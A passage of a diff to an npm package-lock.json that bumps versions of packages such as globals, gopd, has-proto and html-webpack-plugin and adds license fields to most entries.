       "resolved": "https://registry.npmjs.org/get-own-enumerable-property-symbols/-/get-own-enumerable-property-symbols-3.0.2.tgz",
-      "integrity": "sha512-I0UBV/XOz1XkIJHEUDMZAbzCThU/H8DxmSfmdGcKPnVhu2VfFqr34jr9777IyaTYvxjedWhqVIilEDsCdP5G6g=="
+      "integrity": "sha512-I0UBV/XOz1XkIJHEUDMZAbzCThU/H8DxmSfmdGcKPnVhu2VfFqr34jr9777IyaTYvxjedWhqVIilEDsCdP5G6g==",
+      "license": "ISC"
     },
     "node_modules/get-package-type": {
       "version": "0.1.0",
       "resolved": "https://registry.npmjs.org/get-package-type/-/get-package-type-0.1.0.tgz",
       "integrity": "sha512-pjzuKtY64GYfWizNAJ0fr9VqttZkNiK2iS430LtIHzjBEr6bX8Am2zm4sW4Ro5wjWW5cAlRL1qAMTcXbjNAO2Q==",
+      "license": "MIT",
       "engines": {
         "node": ">=8.0.0"
       }
     },
+    "node_modules/get-proto": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz",
+      "integrity": "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==",
+      "license": "MIT",
+      "dependencies": {
+        "dunder-proto": "^1.0.1",
+        "es-object-atoms": "^1.0.0"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      }
+    },
     "node_modules/get-stream": {
       "version": "6.0.1",
       "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-6.0.1.tgz",
       "integrity": "sha512-ts6Wi+2j3jQjqi70w5AlN8DFnkSwC+MqmxEzdEALB2qXZYV3X/b1CTfgPLGJNMeAWxdPfU8FO1ms3NUfaHCPYg==",
+      "license": "MIT",
       "engines": {
         "node": ">=10"
       },
@@ -9082,13 +9236,14 @@
       }
     },
     "node_modules/get-symbol-description": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/get-symbol-description/-/get-symbol-description-1.0.2.tgz",
-      "integrity": "sha512-g0QYk1dZBxGwk+Ngc+ltRH2IBp2f7zBkBMBJZCDerh6EhlhSR6+9irMCuT/09zD6qkarHUSn529sK/yL4S27mg==",
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/get-symbol-description/-/get-symbol-description-1.1.0.tgz",
+      "integrity": "sha512-w9UMqWwJxHNOvoNzSJ2oPF5wvYcvP7jUvYzhp67yEhTi17ZDBBC1z9pTdGuzjD+EFIqLSYRweZjqfiPzQ06Ebg==",
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.5",
+        "call-bound": "^1.0.3",
         "es-errors": "^1.3.0",
-        "get-intrinsic": "^1.2.4"
+        "get-intrinsic": "^1.2.6"
       },
       "engines": {
         "node": ">= 0.4"
@@ -9101,6 +9256,8 @@
       "version": "7.2.3",
       "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz",
       "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==",
+      "deprecated": "Glob versions prior to v9 are no longer supported",
+      "license": "ISC",
       "dependencies": {
         "fs.realpath": "^1.0.0",
         "inflight": "^1.0.4",
@@ -9120,6 +9277,7 @@
       "version": "6.0.2",
       "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-6.0.2.tgz",
       "integrity": "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==",
+      "license": "ISC",
       "dependencies": {
         "is-glob": "^4.0.3"
       },
@@ -9130,12 +9288,14 @@
     "node_modules/glob-to-regexp": {
       "version": "0.4.1",
       "resolved": "https://registry.npmjs.org/glob-to-regexp/-/glob-to-regexp-0.4.1.tgz",
-      "integrity": "sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw=="
+      "integrity": "sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw==",
+      "license": "BSD-2-Clause"
     },
     "node_modules/global-modules": {
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/global-modules/-/global-modules-2.0.0.tgz",
       "integrity": "sha512-NGbfmJBp9x8IxyJSd1P+otYK8vonoJactOogrVfFRIAEY1ukil8RSKDz2Yo7wh1oihl51l/r6W4epkeKJHqL8A==",
+      "license": "MIT",
       "dependencies": {
         "global-prefix": "^3.0.0"
       },
@@ -9147,6 +9307,7 @@
       "version": "3.0.0",
       "resolved": "https://registry.npmjs.org/global-prefix/-/global-prefix-3.0.0.tgz",
       "integrity": "sha512-awConJSVCHVGND6x3tmMaKcQvwXLhjdkmomy2W+Goaui8YPgYgXJZewhg3fWC+DlfqqQuWg8AwqjGTD2nAPVWg==",
+      "license": "MIT",
       "dependencies": {
         "ini": "^1.3.5",
         "kind-of": "^6.0.2",
@@ -9160,6 +9321,7 @@
       "version": "1.3.1",
       "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz",
       "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==",
+      "license": "ISC",
       "dependencies": {
         "isexe": "^2.0.0"
       },
@@ -9168,19 +9330,40 @@
       }
     },
     "node_modules/globals": {
-      "version": "11.12.0",
-      "resolved": "https://registry.npmjs.org/globals/-/globals-11.12.0.tgz",
-      "integrity": "sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==",
+      "version": "13.24.0",
+      "resolved": "https://registry.npmjs.org/globals/-/globals-13.24.0.tgz",
+      "integrity": "sha512-AhO5QUcj8llrbG09iWhPU2B204J1xnPeL8kQmVorSsy+Sjj1sk8gIyh6cUocGmH4L0UuhAJy+hJMRA4mgA4mFQ==",
+      "license": "MIT",
+      "dependencies": {
+        "type-fest": "^0.20.2"
+      },
       "engines": {
-        "node": ">=4"
+        "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/globals/node_modules/type-fest": {
+      "version": "0.20.2",
+      "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.20.2.tgz",
+      "integrity": "sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ==",
+      "license": "(MIT OR CC0-1.0)",
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
       }
     },
     "node_modules/globalthis": {
-      "version": "1.0.3",
-      "resolved": "https://registry.npmjs.org/globalthis/-/globalthis-1.0.3.tgz",
-      "integrity": "sha512-sFdI5LyBiNTHjRd7cGPWapiHWMOXKyuBNX/cWJ3NfzrZQVa8GI/8cofCl74AOVqq9W5kNmguTIzJ/1s2gyI9wA==",
+      "version": "1.0.4",
+      "resolved": "https://registry.npmjs.org/globalthis/-/globalthis-1.0.4.tgz",
+      "integrity": "sha512-DpLKbNU4WylpxJykQujfCcwYWiV/Jhm50Goo0wrVILAv5jOr9d+H+UR3PhSCD2rCCEIg0uc+G+muBTwD54JhDQ==",
+      "license": "MIT",
       "dependencies": {
-        "define-properties": "^1.1.3"
+        "define-properties": "^1.2.1",
+        "gopd": "^1.0.1"
       },
       "engines": {
         "node": ">= 0.4"
@@ -9193,6 +9376,7 @@
       "version": "11.1.0",
       "resolved": "https://registry.npmjs.org/globby/-/globby-11.1.0.tgz",
       "integrity": "sha512-jhIXaOzy1sb8IyocaruWSn1TjmnBVs8Ayhcy83rmxNJ8q2uWKCAj3CnJY+KpGSXCueAPc0i05kVvVKtP1t9S3g==",
+      "license": "MIT",
       "dependencies": {
         "array-union": "^2.1.0",
         "dir-glob": "^3.0.1",
@@ -9209,11 +9393,12 @@
       }
     },
     "node_modules/gopd": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.0.1.tgz",
-      "integrity": "sha512-d65bNlIadxvpb/A2abVdlqKqV563juRnZ1Wtk6s1sIR8uNsXR70xqIzVqxVf1eTqDunwT2MkczEeaezCKTZhwA==",
-      "dependencies": {
-        "get-intrinsic": "^1.1.3"
+      "version": "1.2.0",
+      "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz",
+      "integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==",
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.4"
       },
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
@@ -9222,17 +9407,20 @@
     "node_modules/graceful-fs": {
       "version": "4.2.11",
       "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz",
-      "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ=="
+      "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==",
+      "license": "ISC"
     },
     "node_modules/graphemer": {
       "version": "1.4.0",
       "resolved": "https://registry.npmjs.org/graphemer/-/graphemer-1.4.0.tgz",
-      "integrity": "sha512-EtKwoO6kxCL9WO5xipiHTZlSzBm7WLT627TqC/uVRd0HKmq8NXyebnNYxDoBi7wt8eTWrUrKXCOVaFq9x1kgag=="
+      "integrity": "sha512-EtKwoO6kxCL9WO5xipiHTZlSzBm7WLT627TqC/uVRd0HKmq8NXyebnNYxDoBi7wt8eTWrUrKXCOVaFq9x1kgag==",
+      "license": "MIT"
     },
     "node_modules/gzip-size": {
       "version": "6.0.0",
       "resolved": "https://registry.npmjs.org/gzip-size/-/gzip-size-6.0.0.tgz",
       "integrity": "sha512-ax7ZYomf6jqPTQ4+XCpUGyXKHk5WweS+e05MBO4/y3WJ5RkmPXNKvX+bx1behVILVwr6JSQvZAku021CHPXG3Q==",
+      "license": "MIT",
       "dependencies": {
         "duplexer": "^0.1.2"
       },
@@ -9246,33 +9434,41 @@
     "node_modules/handle-thing": {
       "version": "2.0.1",
       "resolved": "https://registry.npmjs.org/handle-thing/-/handle-thing-2.0.1.tgz",
-      "integrity": "sha512-9Qn4yBxelxoh2Ow62nP+Ka/kMnOXRi8BXnRaUwezLNhqelnN49xKz4F/dPP8OYLxLxq6JDtZb2i9XznUQbNPTg=="
+      "integrity": "sha512-9Qn4yBxelxoh2Ow62nP+Ka/kMnOXRi8BXnRaUwezLNhqelnN49xKz4F/dPP8OYLxLxq6JDtZb2i9XznUQbNPTg==",
+      "license": "MIT"
     },
     "node_modules/harmony-reflect": {
       "version": "1.6.2",
       "resolved": "https://registry.npmjs.org/harmony-reflect/-/harmony-reflect-1.6.2.tgz",
-      "integrity": "sha512-HIp/n38R9kQjDEziXyDTuW3vvoxxyxjxFzXLrBr18uB47GnSt+G9D29fqrpM5ZkspMcPICud3XsBJQ4Y2URg8g=="
+      "integrity": "sha512-HIp/n38R9kQjDEziXyDTuW3vvoxxyxjxFzXLrBr18uB47GnSt+G9D29fqrpM5ZkspMcPICud3XsBJQ4Y2URg8g==",
+      "license": "(Apache-2.0 OR MPL-1.1)"
     },
     "node_modules/has-bigints": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/has-bigints/-/has-bigints-1.0.2.tgz",
-      "integrity": "sha512-tSvCKtBr9lkF0Ex0aQiP9N+OpV4zi2r/Nee5VkRDbaqv35RLYMzbwQfFSZZH0kR+Rd6302UJZ2p/bJCEoR3VoQ==",
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/has-bigints/-/has-bigints-1.1.0.tgz",
+      "integrity": "sha512-R3pbpkcIqv2Pm3dUwgjclDRVmWpTJW2DcMzcIhEXEx1oh/CEMObMm3KLmRJOdvhM7o4uQBnwr8pzRK2sJWIqfg==",
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.4"
+      },
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
       }
     },
     "node_modules/has-flag": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz",
-      "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==",
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
+      "license": "MIT",
       "engines": {
-        "node": ">=4"
+        "node": ">=8"
       }
     },
     "node_modules/has-property-descriptors": {
       "version": "1.0.2",
       "resolved": "https://registry.npmjs.org/has-property-descriptors/-/has-property-descriptors-1.0.2.tgz",
       "integrity": "sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==",
+      "license": "MIT",
       "dependencies": {
         "es-define-property": "^1.0.0"
       },
@@ -9281,9 +9477,13 @@
       }
     },
     "node_modules/has-proto": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/has-proto/-/has-proto-1.0.1.tgz",
-      "integrity": "sha512-7qE+iP+O+bgF9clE5+UoBFzE65mlBiVj3tKCrlNQ0Ogwm0BjpT/gK4SlLYDMybDh5I3TCTKnPPa0oMG7JDYrhg==",
+      "version": "1.2.0",
+      "resolved": "https://registry.npmjs.org/has-proto/-/has-proto-1.2.0.tgz",
+      "integrity": "sha512-KIL7eQPfHQRC8+XluaIw7BHUwwqL19bQn4hzNgdr+1wXoU0KKj6rufu47lhY7KbJR2C6T6+PfyN0Ea7wkSS+qQ==",
+      "license": "MIT",
+      "dependencies": {
+        "dunder-proto": "^1.0.0"
+      },
       "engines": {
         "node": ">= 0.4"
       },
@@ -9292,9 +9492,10 @@
       }
     },
     "node_modules/has-symbols": {
-      "version": "1.0.3",
-      "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.3.tgz",
-      "integrity": "sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A==",
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz",
+      "integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==",
+      "license": "MIT",
       "engines": {
         "node": ">= 0.4"
       },
@@ -9306,6 +9507,7 @@
       "version": "1.0.2",
       "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.2.tgz",
       "integrity": "sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==",
+      "license": "MIT",
       "dependencies": {
         "has-symbols": "^1.0.3"
       },
@@ -9317,9 +9519,10 @@
       }
     },
     "node_modules/hasown": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.1.tgz",
-      "integrity": "sha512-1/th4MHjnwncwXsIW6QMzlvYL9kG5e/CpVvLRZe4XPa8TOUNbCELqmvhDmnkNsAjwaG4+I8gJJL0JBvTTLO9qA==",
+      "version": "2.0.2",
+      "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.2.tgz",
+      "integrity": "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==",
+      "license": "MIT",
       "dependencies": {
         "function-bind": "^1.1.2"
       },
@@ -9331,6 +9534,7 @@
       "version": "1.2.0",
       "resolved": "https://registry.npmjs.org/he/-/he-1.2.0.tgz",
       "integrity": "sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw==",
+      "license": "MIT",
       "bin": {
         "he": "bin/he"
       }
@@ -9339,6 +9543,7 @@
       "version": "4.10.1",
       "resolved": "https://registry.npmjs.org/history/-/history-4.10.1.tgz",
       "integrity": "sha512-36nwAD620w12kuzPAsyINPWJqlNbij+hpK1k9XRloDtym8mxzGYl2c17LnV6IAGB2Dmg4tEa7G7DlawS0+qjew==",
+      "license": "MIT",
       "dependencies": {
         "@babel/runtime": "^7.1.2",
         "loose-envify": "^1.2.0",
@@ -9352,6 +9557,7 @@
       "version": "3.3.2",
       "resolved": "https://registry.npmjs.org/hoist-non-react-statics/-/hoist-non-react-statics-3.3.2.tgz",
       "integrity": "sha512-/gGivxi8JPKWNm/W0jSmzcMPpfpPLc3dY/6GxhX2hQ9iGj3aDfklV4ET7NjKpSinLpJ5vafa9iiGIEZg10SfBw==",
+      "license": "BSD-3-Clause",
       "dependencies": {
         "react-is": "^16.7.0"
       }
@@ -9360,6 +9566,7 @@
       "version": "0.1.4",
       "resolved": "https://registry.npmjs.org/hoopy/-/hoopy-0.1.4.tgz",
       "integrity": "sha512-HRcs+2mr52W0K+x8RzcLzuPPmVIKMSv97RGHy0Ea9y/mpcaK+xTrjICA04KAHi4GRzxliNqNJEFYWHghy3rSfQ==",
+      "license": "MIT",
       "engines": {
         "node": ">= 6.0.0"
       }
@@ -9368,6 +9575,7 @@
       "version": "2.1.6",
       "resolved": "https://registry.npmjs.org/hpack.js/-/hpack.js-2.1.6.tgz",
       "integrity": "sha512-zJxVehUdMGIKsRaNt7apO2Gqp0BdqW5yaiGHXXmbpvxgBYVZnAql+BJb4RO5ad2MgpbZKn5G6nMnegrH1FcNYQ==",
+      "license": "MIT",
       "dependencies": {
         "inherits": "^2.0.1",
         "obuf": "^1.0.0",
@@ -9378,12 +9586,14 @@
     "node_modules/hpack.js/node_modules/isarray": {
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz",
-      "integrity": "sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ=="
+      "integrity": "sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ==",
+      "license": "MIT"
     },
     "node_modules/hpack.js/node_modules/readable-stream": {
       "version": "2.3.8",
       "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.8.tgz",
       "integrity": "sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==",
+      "license": "MIT",
       "dependencies": {
         "core-util-is": "~1.0.0",
         "inherits": "~2.0.3",
@@ -9397,12 +9607,14 @@
     "node_modules/hpack.js/node_modules/safe-buffer": {
       "version": "5.1.2",
       "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz",
-      "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g=="
+      "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==",
+      "license": "MIT"
     },
     "node_modules/hpack.js/node_modules/string_decoder": {
       "version": "1.1.1",
       "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz",
       "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
+      "license": "MIT",
       "dependencies": {
         "safe-buffer": "~5.1.0"
       }
@@ -9411,6 +9623,7 @@
       "version": "2.0.1",
       "resolved": "https://registry.npmjs.org/html-encoding-sniffer/-/html-encoding-sniffer-2.0.1.tgz",
       "integrity": "sha512-D5JbOMBIR/TVZkubHT+OyT2705QvogUW4IBn6nHd756OwieSF9aDYFj4dv6HHEVGYbHaLETa3WggZYWWMyy3ZQ==",
+      "license": "MIT",
       "dependencies": {
         "whatwg-encoding": "^1.0.5"
       },
@@ -9421,17 +9634,20 @@
     "node_modules/html-entities": {
       "version": "1.4.0",
       "resolved": "https://registry.npmjs.org/html-entities/-/html-entities-1.4.0.tgz",
-      "integrity": "sha512-8nxjcBcd8wovbeKx7h3wTji4e6+rhaVuPNpMqwWgnHh+N9ToqsCs6XztWRBPQ+UtzsoMAdKZtUENoVzU/EMtZA=="
+      "integrity": "sha512-8nxjcBcd8wovbeKx7h3wTji4e6+rhaVuPNpMqwWgnHh+N9ToqsCs6XztWRBPQ+UtzsoMAdKZtUENoVzU/EMtZA==",
+      "license": "MIT"
     },
     "node_modules/html-escaper": {
       "version": "2.0.2",
       "resolved": "https://registry.npmjs.org/html-escaper/-/html-escaper-2.0.2.tgz",
-      "integrity": "sha512-H2iMtd0I4Mt5eYiapRdIDjp+XzelXQ0tFE4JS7YFwFevXXMmOp9myNrUvCg0D6ws8iqkRPBfKHgbwig1SmlLfg=="
+      "integrity": "sha512-H2iMtd0I4Mt5eYiapRdIDjp+XzelXQ0tFE4JS7YFwFevXXMmOp9myNrUvCg0D6ws8iqkRPBfKHgbwig1SmlLfg==",
+      "license": "MIT"
     },
     "node_modules/html-minifier-terser": {
       "version": "6.1.0",
       "resolved": "https://registry.npmjs.org/html-minifier-terser/-/html-minifier-terser-6.1.0.tgz",
       "integrity": "sha512-YXxSlJBZTP7RS3tWnQw74ooKa6L9b9i9QYXY21eUEvhZ3u9XLfv6OnFsQq6RxkhHygsaUMvYsZRV5rU/OVNZxw==",
+      "license": "MIT",
       "dependencies": {
         "camel-case": "^4.1.2",
         "clean-css": "^5.2.2",
@@ -9452,14 +9668,16 @@
       "version": "8.3.0",
       "resolved": "https://registry.npmjs.org/commander/-/commander-8.3.0.tgz",
       "integrity": "sha512-OkTL9umf+He2DZkUq8f8J9of7yL6RJKI24dVITBmNfZBmri9zYZQrKkuXiKhyfPSu8tUhnVBB1iKXevvnlR4Ww==",
+      "license": "MIT",
       "engines": {
         "node": ">= 12"
       }
     },
     "node_modules/html-webpack-plugin": {
-      "version": "5.6.0",
-      "resolved": "https://registry.npmjs.org/html-webpack-plugin/-/html-webpack-plugin-5.6.0.tgz",
-      "integrity": "sha512-iwaY4wzbe48AfKLZ/Cc8k0L+FKG6oSNRaZ8x5A/T/IVDGyXcbHncM9TdDa93wn0FsSm82FhTKW7f3vS61thXAw==",
+      "version": "5.6.3",
+      "resolved": "https://registry.npmjs.org/html-webpack-plugin/-/html-webpack-plugin-5.6.3.tgz",
+      "integrity": "sha512-QSf1yjtSAsmf7rYBV7XX86uua4W/vkhIt0xNXKbsi2foEeW7vjJQz4bhnpL3xH+l1ryl1680uNv968Z+X6jSYg==",
+      "license": "MIT",
       "dependencies": {
         "@types/html-minifier-terser": "^6.0.0",
         "html-minifier-terser": "^6.0.2",
@@ -9498,6 +9716,7 @@
           "url": "https://github.com/sponsors/fb55"
         }
       ],
+      "license": "MIT",
       "dependencies": {
         "domelementtype": "^2.0.1",
         "domhandler": "^4.0.0",
@@ -9508,12 +9727,14 @@
     "node_modules/http-deceiver": {
       "version": "1.2.7",
       "resolved": "https://registry.npmjs.org/http-deceiver/-/http-deceiver-1.2.7.tgz",
-      "integrity": "sha512-LmpOGxTfbpgtGVxJrj5k7asXHCgNZp5nLfp+hWc8QQRqtb7fUy6kRY3BO1h9ddF6yIPYUARgxGOwB42DnxIaNw=="
+      "integrity": "sha512-LmpOGxTfbpgtGVxJrj5k7asXHCgNZp5nLfp+hWc8QQRqtb7fUy6kRY3BO1h9ddF6yIPYUARgxGOwB42DnxIaNw==",
+      "license": "MIT"
     },
     "node_modules/http-errors": {
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.0.tgz",
       "integrity": "sha512-FtwrG/euBzaEjYeRqOgly7G0qviiXoJWnvEH2Z1plBdXgbyjv34pHTSb9zoeHMyDy33+DWy5Wt9Wo+TURtOYSQ==",
+      "license": "MIT",
       "dependencies": {
         "depd": "2.0.0",
         "inherits": "2.0.4",
@@ -9526,14 +9747,16 @@
       }
     },
     "node_modules/http-parser-js": {
-      "version": "0.5.8",
-      "resolved": "https://registry.npmjs.org/http-parser-js/-/http-parser-js-0.5.8.tgz",
-      "integrity": "sha512-SGeBX54F94Wgu5RH3X5jsDtf4eHyRogWX1XGT3b4HuW3tQPM4AaBzoUji/4AAJNXCEOWZ5O0DgZmJw1947gD5Q=="
+      "version": "0.5.10",
+      "resolved": "https://registry.npmjs.org/http-parser-js/-/http-parser-js-0.5.10.tgz",
+      "integrity": "sha512-Pysuw9XpUq5dVc/2SMHpuTY01RFl8fttgcyunjL7eEMhGM3cI4eOmiCycJDVCo/7O7ClfQD3SaI6ftDzqOXYMA==",
+      "license": "MIT"
     },
     "node_modules/http-proxy": {
       "version": "1.18.1",
       "resolved": "https://registry.npmjs.org/http-proxy/-/http-proxy-1.18.1.tgz",
       "integrity": "sha512-7mz/721AbnJwIVbnaSv1Cz3Am0ZLT/UBwkC92VlxhXv/k/BBQfM2fXElQNC27BVGr0uwUpplYPQM9LnaBMR5NQ==",
+      "license": "MIT",
       "dependencies": {
         "eventemitter3": "^4.0.0",
         "follow-redirects": "^1.0.0",
@@ -9547,6 +9770,7 @@
       "version": "4.0.1",
       "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-4.0.1.tgz",
       "integrity": "sha512-k0zdNgqWTGA6aeIRVpvfVob4fL52dTfaehylg0Y4UvSySvOq/Y+BOyPrgpUrA7HylqvU8vIZGsRuXmspskV0Tg==",
+      "license": "MIT",
       "dependencies": {
         "@tootallnate/once": "1",
         "agent-base": "6",
@@ -9557,9 +9781,10 @@
       }
     },
     "node_modules/http-proxy-middleware": {
-      "version": "2.0.6",
-      "resolved": "https://registry.npmjs.org/http-proxy-middleware/-/http-proxy-middleware-2.0.6.tgz",
-      "integrity": "sha512-ya/UeJ6HVBYxrgYotAZo1KvPWlgB48kUJLDePFeneHsVujFaW5WNj2NgWCAE//B1Dl02BIfYlpNgBy8Kf8Rjmw==",
+      "version": "2.0.9",
+      "resolved": "https://registry.npmjs.org/http-proxy-middleware/-/http-proxy-middleware-2.0.9.tgz",
+      "integrity": "sha512-c1IyJYLYppU574+YI7R4QyX2ystMtVXZwIdzazUIPIJsHuWNd+mho2j+bKoHftndicGj9yh+xjd+l0yj7VeT1Q==",
+      "license": "MIT",
       "dependencies": {
         "@types/http-proxy": "^1.17.8",
         "http-proxy": "^1.18.1",
@@ -9583,6 +9808,7 @@
       "version": "5.0.1",
       "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz",
       "integrity": "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==",
+      "license": "MIT",
       "dependencies": {
         "agent-base": "6",
         "debug": "4"
@@ -9595,6 +9821,7 @@
       "version": "2.1.0",
       "resolved": "https://registry.npmjs.org/human-signals/-/human-signals-2.1.0.tgz",
       "integrity": "sha512-B4FFZ6q/T2jhhksgkbEW3HBvWIfDW85snkQgawt07S7J5QXTk6BkNV+0yAeZrM5QpMAdYlocGoljn0sJ/WQkFw==",
+      "license": "Apache-2.0",
       "engines": {
         "node": ">=10.17.0"
       }
@@ -9604,6 +9831,7 @@
       "resolved": "https://registry.npmjs.org/husky/-/husky-7.0.4.tgz",
       "integrity": "sha512-vbaCKN2QLtP/vD4yvs6iz6hBEo6wkSzs8HpRah1Z6aGmF2KW5PdYuAd7uX5a+OyBZHBhd+TFLqgjUgytQr4RvQ==",
       "dev": true,
+      "license": "MIT",
       "bin": {
         "husky": "lib/bin.js"
       },
@@ -9618,6 +9846,7 @@
       "version": "0.6.3",
       "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz",
       "integrity": "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==",
+      "license": "MIT",
       "dependencies": {
         "safer-buffer": ">= 2.1.2 < 3.0.0"
       },
@@ -9629,6 +9858,7 @@
       "version": "5.1.0",
       "resolved": "https://registry.npmjs.org/icss-utils/-/icss-utils-5.1.0.tgz",
       "integrity": "sha512-soFhflCVWLfRNOPU3iv5Z9VUdT44xFRbzjLsEzSr5AQmgqPMTHdU3PMT1Cf1ssx8fLNJDA1juftYl+PUcv3MqA==",
+      "license": "ISC",
       "engines": {
         "node": "^10 || ^12 || >= 14"
       },
